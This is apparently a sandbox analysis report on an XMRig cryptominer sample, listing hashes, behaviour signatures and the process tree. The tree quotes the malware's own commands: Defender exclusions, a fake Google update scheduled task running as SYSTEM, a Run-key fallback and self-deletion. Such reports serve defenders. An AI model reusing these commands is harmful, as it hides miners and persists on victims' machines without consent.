xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
438s
max time network
1797s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

Be5sCbvuma2nkHDa.exeupdater.execonhost.exe

description	pid	Process	procid_target
PID 2912 created 1360	2912	Be5sCbvuma2nkHDa.exe	7
PID 2912 created 1360	2912	Be5sCbvuma2nkHDa.exe	7
PID 2912 created 1360	2912	Be5sCbvuma2nkHDa.exe	7
PID 2912 created 1360	2912	Be5sCbvuma2nkHDa.exe	7
PID 2764 created 1360	2764	updater.exe	7
PID 2764 created 1360	2764	updater.exe	7
PID 2764 created 1360	2764	updater.exe	7
PID 2764 created 1360	2764	updater.exe	7
PID 960 created 1360	960	conhost.exe	7
PID 2764 created 1360	2764	updater.exe	7

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

Processes:

resource	yara_rule
behavioral7/memory/1652-64-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1652-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid	Process
2580	cmd.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid	Process
2764	updater.exe

Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid	Process
2128	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral7/memory/1652-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1652-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	Process	procid_target
PID 2764 set thread context of 960	2764	updater.exe	52
PID 2764 set thread context of 1652	2764	updater.exe	53

Drops file in Program Files directory 4 IoCs

Processes:

updater.execmd.execmd.exeBe5sCbvuma2nkHDa.exe

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Be5sCbvuma2nkHDa.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

Processes:

schtasks.exeschtasks.exe

pid	Process
2876	schtasks.exe
2456	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

Processes:

WMIC.exe

pid	Process
2332	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1047aac39e51da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

Be5sCbvuma2nkHDa.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	Process
2912	Be5sCbvuma2nkHDa.exe
2912	Be5sCbvuma2nkHDa.exe
1712	powershell.exe
2912	Be5sCbvuma2nkHDa.exe
2912	Be5sCbvuma2nkHDa.exe
2940	powershell.exe
2912	Be5sCbvuma2nkHDa.exe
2912	Be5sCbvuma2nkHDa.exe
2912	Be5sCbvuma2nkHDa.exe
2912	Be5sCbvuma2nkHDa.exe
2780	powershell.exe
2764	updater.exe
2764	updater.exe
2860	powershell.exe
2764	updater.exe
2764	updater.exe
2812	powershell.exe
2764	updater.exe
2764	updater.exe
2764	updater.exe
2764	updater.exe
960	conhost.exe
960	conhost.exe
2764	updater.exe
2764	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	Process
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeDebugPrivilege	2764	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2332	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2332	WMIC.exe
Token: SeSecurityPrivilege	2332	WMIC.exe
Token: SeTakeOwnershipPrivilege	2332	WMIC.exe
Token: SeLoadDriverPrivilege	2332	WMIC.exe
Token: SeSystemtimePrivilege	2332	WMIC.exe
Token: SeBackupPrivilege	2332	WMIC.exe
Token: SeRestorePrivilege	2332	WMIC.exe
Token: SeShutdownPrivilege	2332	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2332	WMIC.exe
Token: SeUndockPrivilege	2332	WMIC.exe
Token: SeManageVolumePrivilege	2332	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2332	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2332	WMIC.exe
Token: SeSecurityPrivilege	2332	WMIC.exe
Token: SeTakeOwnershipPrivilege	2332	WMIC.exe
Token: SeLoadDriverPrivilege	2332	WMIC.exe
Token: SeSystemtimePrivilege	2332	WMIC.exe
Token: SeBackupPrivilege	2332	WMIC.exe
Token: SeRestorePrivilege	2332	WMIC.exe
Token: SeShutdownPrivilege	2332	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2332	WMIC.exe
Token: SeUndockPrivilege	2332	WMIC.exe
Token: SeManageVolumePrivilege	2332	WMIC.exe
Token: SeLockMemoryPrivilege	1652	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	Process	procid_target
PID 2940 wrote to memory of 2876	2940	powershell.exe	32
PID 2940 wrote to memory of 2876	2940	powershell.exe	32
PID 2940 wrote to memory of 2876	2940	powershell.exe	32
PID 2580 wrote to memory of 2480	2580	cmd.exe	35
PID 2580 wrote to memory of 2480	2580	cmd.exe	35
PID 2580 wrote to memory of 2480	2580	cmd.exe	35
PID 2780 wrote to memory of 3028	2780	powershell.exe	33
PID 2780 wrote to memory of 3028	2780	powershell.exe	33
PID 2780 wrote to memory of 3028	2780	powershell.exe	33
PID 2128 wrote to memory of 2764	2128	taskeng.exe	38
PID 2128 wrote to memory of 2764	2128	taskeng.exe	38
PID 2128 wrote to memory of 2764	2128	taskeng.exe	38
PID 2812 wrote to memory of 2456	2812	powershell.exe	45
PID 2812 wrote to memory of 2456	2812	powershell.exe	45
PID 2812 wrote to memory of 2456	2812	powershell.exe	45
PID 2764 wrote to memory of 960	2764	updater.exe	52
PID 1792 wrote to memory of 2332	1792	cmd.exe	47
PID 1792 wrote to memory of 2332	1792	cmd.exe	47
PID 1792 wrote to memory of 2332	1792	cmd.exe	47
PID 2764 wrote to memory of 1652	2764	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1360
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2876
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2456
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1800
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1792
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:960
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1652

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:3028

C:\Windows\system32\taskeng.exe
taskeng.exe {4D507514-44A5-409E-A579-8C0D60AD61EC} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2764

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2480

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.1MB

MD5
9414fab41bda521a6672887d0c0315c0

SHA1
63b0ccca89a36b33cd40db2d17b3d1500982c39b

SHA256
b7e9c5a58864ce1c6063023ca0dc86577712f256fea571f6728a4fc4282e7438

SHA512
e80d7b3200cbf65a590bcdf0cf16147166cc554ae4dc236a9db7f5391b0b392e53a4dcf4f64c64d62345dc6336d0f0cd4c00c6429caa12e93d2822a486649f92

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
723KB

MD5
192a5d9d9d363a9fe779cb8ec8812455

SHA1
e72f4ad0aaa5f1f4031e821449f7f7e8554fffc3

SHA256
9ecfb2ea4cb8a1f6dc1d110202fca886b42f71b32b16796924321dc76dfe5be9

SHA512
8c70b5eb51f4055b440bfb06baeb161cfc5cded215228f20a44c1013f50e72814c0a2a54df6b6a8b14292872707c6c20e104e9ef793d5e896d67da4fda64cc6b

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HOADGYOWOZCWBEPU3UVP.temp

Filesize
7KB

MD5
64ce1b5326008c5b17e44d403d134729

SHA1
62982894bb7a550bf445e8f083b1f2f393ce98dc

SHA256
5f75d359f72f54ae75a0ce1c1a80c209b85727ef0633ae4d15f900bb8a7f7591

SHA512
b110ca4e6e82d345380840edb77fc06febac8ba1788fe3a82e289ee9f284efe453024911d6ebcf5c7f40b5874e2dacc989a4358f51499562ace291ac070a31b4

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
1.1MB

MD5
87f80ccfd44026b4e586f24d7f01a3be

SHA1
76aab1980a1f6a7184a6d251eb7c6ac8bbbe36ba

SHA256
16211ca62e8532e527b1232fc5214c5fb05732ae2234a62895a1724bdb876fbf

SHA512
e684ffa249860933c550f4e56690c1fae38a72453118643faef4dc869b1de2c63723e47988234a8d4cb63163805fbd3624c57320ba36af7fa80811b727ec1c87

Download Submit
memory/960-73-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/960-67-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1652-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-74-0x0000000000250000-0x0000000000270000-memory.dmp

Filesize
128KB

Download
memory/1652-72-0x0000000000230000-0x0000000000250000-memory.dmp

Filesize
128KB

Download
memory/1652-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-66-0x0000000000250000-0x0000000000270000-memory.dmp

Filesize
128KB

Download
memory/1652-65-0x0000000000230000-0x0000000000250000-memory.dmp

Filesize
128KB

Download
memory/1652-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-64-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-63-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1712-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/1712-12-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/1712-7-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/1712-6-0x0000000001F30000-0x0000000001F38000-memory.dmp

Filesize
32KB

Download
memory/1712-8-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Filesize
512KB

Download
memory/1712-11-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/1712-10-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Filesize
512KB

Download
memory/1712-9-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Filesize
512KB

Download
memory/2764-42-0x000000013FB20000-0x000000013FD31000-memory.dmp

Filesize
2.1MB

Download
memory/2764-62-0x000000013FB20000-0x000000013FD31000-memory.dmp

Filesize
2.1MB

Download
memory/2780-36-0x0000000002BB0000-0x0000000002C30000-memory.dmp

Filesize
512KB

Download
memory/2780-35-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
